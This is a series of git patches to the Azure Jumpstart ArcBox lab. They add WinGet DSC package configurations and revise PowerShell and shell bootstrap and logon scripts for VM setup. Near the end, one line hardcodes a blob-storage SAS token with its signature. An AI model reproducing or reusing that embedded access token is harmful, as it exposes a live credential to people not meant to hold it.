allowPrerelease: true + settings: + id: Helm.Helm + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Microsoft.Sysinternals.BGInfo + directives: + description: Install Sysinternals BGInfo + allowPrerelease: true + settings: + id: Microsoft.Sysinternals.BGInfo + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: OpenSSL + directives: + description: Install OpenSSL + allowPrerelease: true + settings: + id: FireDaemon.OpenSSL + source: winget + - resource: PSDscResources/WindowsFeature + id: Hyper-V + directives: + description: Install Hyper-V + settings: + Name: Hyper-V + Ensure: Present + - resource: HyperVDsc/VMHost + id: VMHost + directives: + description: Configure VM Host settings + settings: + IsSingleInstance: Yes + EnableEnhancedSessionMode: True + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml new file mode 100644 index 0000000000..86bd3f2de5 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml @@ -0,0 +1,53 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectl + directives: + description: Install kubectl + allowPrerelease: true + settings: + id: Kubernetes.kubectl + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectx + directives: + description: Install kubectx + allowPrerelease: true + settings: + id: ahmetb.kubectx + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: DotNetSDK7 + directives: + description: Install Microsoft DotNet SDK 7 + allowPrerelease: true + settings: + id: Microsoft.DotNet.SDK.7 + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: SQLServerManagementStudio + directives: + description: Install Microsoft SQL Server Management Studio + allowPrerelease: true + settings: + id: Microsoft.SQLServerManagementStudio + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Microsoft.Azure.DataCLI + directives: + description: Install Microsoft Azure Data CLI + allowPrerelease: true + settings: + id: Microsoft.Azure.DataCLI + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Microsoft.AzureDataStudio + directives: + description: Install Microsoft Azure Data Studio + allowPrerelease: true + settings: + id: Microsoft.AzureDataStudio + source: winget + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml new file mode 100644 index 0000000000..ded57fe8cc --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml @@ -0,0 +1,37 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectl + directives: + description: Install kubectl + allowPrerelease: true + settings: + id: Kubernetes.kubectl + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectx + directives: + description: Install kubectx + allowPrerelease: true + settings: + id: ahmetb.kubectx + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: DotNetSDK7 + directives: + description: Install Microsoft DotNet SDK 7 + allowPrerelease: true + settings: + id: Microsoft.DotNet.SDK.7 + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: helm + directives: + description: Install Helm + allowPrerelease: true + settings: + id: Helm.Helm + source: winget + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml new file mode 100644 index 0000000000..ff917f2c8b --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml @@ -0,0 +1,14 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: terraform + directives: + description: Install Terraform + allowPrerelease: true + settings: + id: Hashicorp.Terraform + source: winget + + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 342e3fae4c..e047f07b70 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -183,7 +183,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = name: 'Bootstrap' location: location tags: { - displayName: 'config-choco' + displayName: 'config-bootstrap' } properties: { publisher: 'Microsoft.Compute' From 5acadaa84bd9b5e6d6063f16fbe65fbb3cc31bce Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 13:56:34 +0000 Subject: [PATCH 005/506] Disabled trigger for MonitorWorkbookLogonScript - needs to run after WinGet has installed Az CLI Signed-off-by: Jan Egil Ring --- .../artifacts/Bootstrap.ps1 | 21 ++++++++++--------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 2d4b73b8d0..8192da10e6 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -299,26 +299,28 @@ if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) Write-Header "Configuring Logon Scripts" +$ScheduledTaskExecutable = "pwsh.exe" + # Creating scheduled task for WinGet.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn -$Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\WinGet.ps1 +$Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "Full") { # Creating scheduled task for DataServicesLogonScript.ps1 - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 Register-ScheduledTask -TaskName "DataServicesLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DevOps") { # Creating scheduled task for DevOpsLogonScript.ps1 - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 Register-ScheduledTask -TaskName "DevOpsLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } @@ -341,7 +343,7 @@ if ($flavor -eq "DataOps") { # Creating scheduled task for DataOpsLogonScript.ps1 # Register schedule task to run after system reboot # schedule task to run after reboot to create reverse DNS lookup - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." @@ -361,7 +363,7 @@ if ($flavor -eq "DataOps") { # Clean up Bootstrap.log Stop-Transcript - $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: pwsh.exe" } + $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: $ScheduledTaskExecutable" } $logSuppress | Set-Content $bootstrapLogFile -Force # Restart computer @@ -370,9 +372,8 @@ if ($flavor -eq "DataOps") { else { # Creating scheduled task for MonitorWorkbookLogonScript.ps1 - $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 - Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 + Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force # Disabling Windows Server Manager Scheduled Task Get-ScheduledTask -TaskName ServerManager | Disable-ScheduledTask @@ -388,6 +389,6 @@ else { # Clean up Bootstrap.log Write-Host "Clean up Bootstrap.log" Stop-Transcript - $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: pwsh.exe" } + $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: $ScheduledTaskExecutable" } $logSuppress | Set-Content $Env:ArcBoxLogsDir\Bootstrap.log -Force } From 38112ded50087b6405365d7e6f2272da42f78790 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 20:56:31 +0000 Subject: [PATCH 006/506] Replaced references to powershell.exe with pwsh.exe Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 36 +++++++++---------- .../artifacts/DataOpsLogonScript.ps1 | 28 +++++++-------- .../artifacts/DataServicesLogonScript.ps1 | 26 +++++++------- .../artifacts/DevOpsLogonScript.ps1 | 32 ++++++++--------- .../artifacts/RunAfterClientVMADJoin.ps1 | 6 ++-- 5 files changed, 64 insertions(+), 64 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 30471a1085..ad71c96511 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -69,7 +69,7 @@ if ($Env:flavor -ne "DevOps") { # Create an internal switch with NAT Write-Host "Creating Internal vSwitch" $switchName = 'InternalNATSwitch' - + # Verify if internal switch is already created, if not create a new switch $inernalSwitch = Get-VMSwitch if ($inernalSwitch.Name -ne $switchName) { @@ -291,25 +291,25 @@ if ($Env:flavor -ne "DevOps") { Write-Host "Enabling SQL server best practices assessment" $bpaDeploymentTemplateUrl = "$Env:templateBaseUrl/artifacts/sqlbpa.json" az deployment group create --resource-group $resourceGroup --template-uri $bpaDeploymentTemplateUrl --parameters workspaceName=$Env:workspaceName vmName=$SQLvmName arcSubscriptionId=$subscriptionId - + # Run Best practices assessment Write-Host "Execute SQL server best practices assessment" - + # Wait for a minute to finish everyting and run assessment Start-Sleep(60) - + # Get access token to make ARM REST API call for SQL server BPA $armRestApiEndpoint = "https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer?api-version=2019-08-02-preview" $token = (az account get-access-token --subscription $subscriptionId --query accessToken --output tsv) $headers = @{"Authorization" = "Bearer $token"; "Content-Type" = "application/json" } - + # Build API request payload $worspaceResourceId = "/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/microsoft.operationalinsights/workspaces/$Env:workspaceName".ToLower() $sqlExtensionId = "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer" $sqlbpaPayloadTemplate = "$Env:templateBaseUrl/artifacts/sqlbpa.payload.json" $settingsSaveTime = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() $apiPayload = (Invoke-WebRequest -Uri $sqlbpaPayloadTemplate).Content -replace '{{RESOURCEID}}', $sqlExtensionId -replace '{{LOCATION}}', $azureLocation -replace '{{WORKSPACEID}}', $worspaceResourceId -replace '{{SAVETIME}}', $settingsSaveTime - + # Call REST API to run best practices assessment $httpResp = Invoke-WebRequest -Method Patch -Uri $armRestApiEndpoint -Body $apiPayload -Headers $headers if (($httpResp.StatusCode -eq 200) -or ($httpResp.StatusCode -eq 202)){ @@ -481,23 +481,23 @@ Write-Host "Creating deployment logs bundle" # Changing to Jumpstart ArcBox wallpaper # Changing to Client VM wallpaper $imgPath = "$Env:ArcBoxDir\wallpaper.png" -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); +$code = @' +using System.Runtime.InteropServices; +namespace Win32{ + + public class Wallpaper{ + [DllImport("user32.dll", CharSet=CharSet.Auto)] + static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; + + public static void SetWallpaper(string thePath){ + SystemParametersInfo(20,0,thePath,3); } } -} +} '@ # Set wallpaper image based on the ArcBox Flavor deployed -$DataServicesLogonScript = Get-WmiObject win32_process -filter 'name="powershell.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "DataServicesLogonScript.ps1" } +$DataServicesLogonScript = Get-WmiObject win32_process -filter 'name="pwsh.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "DataServicesLogonScript.ps1" } if (-not $DataServicesLogonScript) { Write-Header "Changing Wallpaper" $imgPath = "$Env:ArcBoxDir\wallpaper.png" diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 8683b922db..002ac6aa8f 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -183,7 +183,7 @@ foreach ($cluster in $clusters) { $cluster = $using:cluster $context = $cluster.context Start-Transcript -Path "$Env:ArcBoxLogsDir\DataController-$context.log" - + az k8s-extension create --name arc-data-services ` --extension-type microsoft.arcdataservices ` --cluster-type connectedClusters ` @@ -320,22 +320,22 @@ Stop-Process -Id $kubectlMonShellAKS.Id Stop-Process -Id $kubectlMonShellAKSDr.Id # Changing to Jumpstart ArcBox wallpaper -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); +$code = @' +using System.Runtime.InteropServices; +namespace Win32{ + + public class Wallpaper{ + [DllImport("user32.dll", CharSet=CharSet.Auto)] + static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; + + public static void SetWallpaper(string thePath){ + SystemParametersInfo(20,0,thePath,3); } } - } + } '@ -$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="powershell.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } +$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="pwsh.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } if (-not $ArcServersLogonScript) { Write-Header "Changing Wallpaper" @@ -354,7 +354,7 @@ Start-Sleep -Seconds 5 # Executing the deployment logs bundle PowerShell script in a new window Write-Header "Uploading Log Bundle" -Invoke-Expression 'cmd /c start Powershell -Command { +Invoke-Expression 'cmd /c start Powershell -Command { $RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) Write-Host "Sleeping for 5 seconds before creating deployment logs bundle..." Start-Sleep -Seconds 5 diff --git a/azure_jumpstart_arcbox/artifacts/DataServicesLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataServicesLogonScript.ps1 index f381e7dcc3..181886c643 100644 --- a/azure_jumpstart_arcbox/artifacts/DataServicesLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataServicesLogonScript.ps1 @@ -113,7 +113,7 @@ Do { Write-Host "Bootstrapper pod is ready!" Write-Host "`n" -# Configuring Azure Arc Custom Location on the cluster +# Configuring Azure Arc Custom Location on the cluster Write-Header "Configuring Azure Arc Custom Location" $connectedClusterId = az connectedk8s show --name $connectedClusterName --resource-group $Env:resourceGroup --query id -o tsv $extensionId = az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $connectedClusterName --resource-group $Env:resourceGroup --query id -o tsv @@ -213,22 +213,22 @@ $Favorite.Save() Stop-Process -Id $kubectlMonShell.Id # Changing to Jumpstart ArcBox wallpaper -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); +$code = @' +using System.Runtime.InteropServices; +namespace Win32{ + + public class Wallpaper{ + [DllImport("user32.dll", CharSet=CharSet.Auto)] + static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; + + public static void SetWallpaper(string thePath){ + SystemParametersInfo(20,0,thePath,3); } } - } + } '@ -$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="powershell.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } +$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="pwsh.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } if(-not $ArcServersLogonScript) { Write-Header "Changing Wallpaper" diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index c1dcebf096..7d6125a28a 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -131,7 +131,7 @@ foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse', 'hello-arc', Write-Header "Adding Bookstore Namespaces to OSM" osm namespace add bookstore bookbuyer bookwarehouse -# To be able to discover the endpoints of this service, we need OSM controller to monitor the corresponding namespace. +# To be able to discover the endpoints of this service, we need OSM controller to monitor the corresponding namespace. # However, Nginx must NOT be injected with an Envoy sidecar to function properly. osm namespace add "$ingressNamespace" --mesh-name "$osmMeshName" --disable-sidecar-injection @@ -299,34 +299,34 @@ $shortcut.Save() $shortcutLocation = "$Env:Public\Desktop\CAPI Bookstore.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) -$shortcut.TargetPath = "powershell.exe" +$shortcut.TargetPath = "pwsh.exe" $shortcut.Arguments = "-ExecutionPolicy Bypass -File $Env:ArcBoxDir\BookStoreLaunch.ps1" $shortcut.IconLocation="$Env:ArcBoxIconDir\bookstore.ico, 0" $shortcut.WindowStyle = 7 $shortcut.Save() # Changing to Jumpstart ArcBox wallpaper -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); +$code = @' +using System.Runtime.InteropServices; +namespace Win32{ + + public class Wallpaper{ + [DllImport("user32.dll", CharSet=CharSet.Auto)] + static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; + + public static void SetWallpaper(string thePath){ + SystemParametersInfo(20,0,thePath,3); } } - } + } '@ -$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="powershell.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } +$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="pwsh.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } if(-not $ArcServersLogonScript) { Write-Header "Changing Wallpaper" $imgPath="$Env:ArcBoxDir\wallpaper.png" - Add-Type $code + Add-Type $code [Win32.Wallpaper]::SetWallpaper($imgPath) } @@ -340,7 +340,7 @@ Start-Sleep -Seconds 5 # Executing the deployment logs bundle PowerShell script in a new window Write-Header "Uploading Log Bundle" -Invoke-Expression 'cmd /c start Powershell -Command { +Invoke-Expression 'cmd /c start Powershell -Command { $RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) Write-Host "Sleeping for 5 seconds before creating deployment logs bundle..." Start-Sleep -Seconds 5 diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index 388b5ec94f..69d56d867f 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -28,9 +28,9 @@ $cimsession = New-CimSession -Credential $adminCredential # Creating scheduled task for DataServicesLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn -User $adminuser -$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "$Env:ArcBoxDir\DataOpsLogonScript.ps1" -$WorkbookAction = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "$Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1" -$nestedSQLAction = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "$Env:ArcBoxDir\ArcServersLogonScript.ps1" +$Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\DataOpsLogonScript.ps1" +$WorkbookAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1" +$nestedSQLAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\ArcServersLogonScript.ps1" # Register schedule task under local account Register-ScheduledTask -TaskName "DataOpsLogonScript" -Trigger $Trigger -Action $Action -RunLevel "Highest" -CimSession $cimsession -Force From a31e697e6261942b9987b8fd9cf3e6d222f8a532 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 21:07:48 +0000 Subject: [PATCH 007/506] Added PowerShell module installations Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 8192da10e6..d47754fa43 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -108,9 +108,15 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/PSProfile.ps1") -OutFile $PsHom Write-Host "Extending C:\ partition to the maximum size" Resize-Partition -DriveLetter C -Size $(Get-PartitionSupportedSize -DriveLetter C).SizeMax -# Installing Posh-SSH PowerShell Module +# Installing PowerShell Modules Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force -Install-Module -Name Posh-SSH -Force + +Install-Module -Name Microsoft.PowerShell.PSResourceGet -Force +$modules = @("Az", "Az.ConnectedMachine", "Posh-SSH", "Pester") + +foreach ($module in $modules) { + Install-PSResource -Name $module -Scope AllUsers -Quiet -AcceptLicense -TrustRepository +} # Installing DHCP service Write-Output "Installing DHCP service" From 9501adc3db3d3b07bafc662de611f0170bd7fd84 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 19 Dec 2023 16:41:14 +0200 Subject: [PATCH 008/506] Add Azure CLI command to set subscription ID This commit adds a new Azure CLI command to set the subscription ID in the DataOpsLogonScript.ps1 and installCAPI.sh scripts. This ensures that the correct subscription is used for subsequent commands. --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 1 + azure_jumpstart_arcbox/artifacts/installCAPI.sh | 2 ++ 2 files changed, 3 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 002ac6aa8f..b60cb1d433 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -33,6 +33,7 @@ Connect-AzAccount -Credential $psCred -TenantId $Env:spnTenantId -ServicePrincip # Required for CLI commands Write-Header "Az CLI Login" az login --service-principal --username $Env:spnClientID --password $Env:spnClientSecret --tenant $Env:spnTenantId +az account set -s $Env:subscriptionId # Register Azure providers Write-Header "Registering Providers" diff --git a/azure_jumpstart_arcbox/artifacts/installCAPI.sh b/azure_jumpstart_arcbox/artifacts/installCAPI.sh index f981548505..b40e11e971 100644 --- a/azure_jumpstart_arcbox/artifacts/installCAPI.sh +++ b/azure_jumpstart_arcbox/artifacts/installCAPI.sh @@ -53,6 +53,8 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) +sudo -u $adminUsername az account set -s $subscriptionId + export AZURE_RESOURCE_GROUP=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) az -v echo "" From e90c4f5fd84dc2f2de0d674f37be1068c7d67b7c Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 19 Dec 2023 17:11:30 +0200 Subject: [PATCH 009/506] Add subscription ID retrieval and set active subscription --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 2961029e8f..0417b1c1ce 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -78,6 +78,9 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "" echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID +subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) +sudo -u $adminUsername az account set -s $subscriptionId + az -v echo "" From 726f3ce3762e91ecc3ea75dddc1a830a4d9aa869 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 19 Dec 2023 19:15:56 +0200 Subject: [PATCH 010/506] Update Arc version to 1.18.0 --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index b60cb1d433..fdd62b9550 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -193,7 +193,7 @@ foreach ($cluster in $clusters) { --auto-upgrade false ` --scope cluster ` --release-namespace arc ` - --version 1.25.0 ` + --version 1.18.0 ` --config Microsoft.CustomLocation.ServiceAccount=sa-bootstrapper Write-Host "`n" From cedca20f404965753d1fb23e4febeb5bae94797e Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 11:07:18 +0000 Subject: [PATCH 011/506] Added parameter for automatic logon into ArcBox Virtual Machine Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 16 +++++++++++++++- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 14 +++++++++++++- .../bicep/clientVm/clientVm.bicep | 5 ++++- azure_jumpstart_arcbox/bicep/main.bicep | 4 ++++ 4 files changed, 36 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index ad71c96511..74b458df26 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -17,7 +17,7 @@ $resourceGroup = $env:resourceGroup $vhdSourceFolder = "https://jsvhds.blob.core.windows.net/arcbox" $sas = "*?si=ArcBox-RL&spr=https&sv=2022-11-02&sr=c&sig=vg8VRjM00Ya%2FGa5izAq3b0axMpR4ylsLsQ8ap3BhrnA%3D" -# Archive exising log file and crate new one +# Archive existing log file and create new one 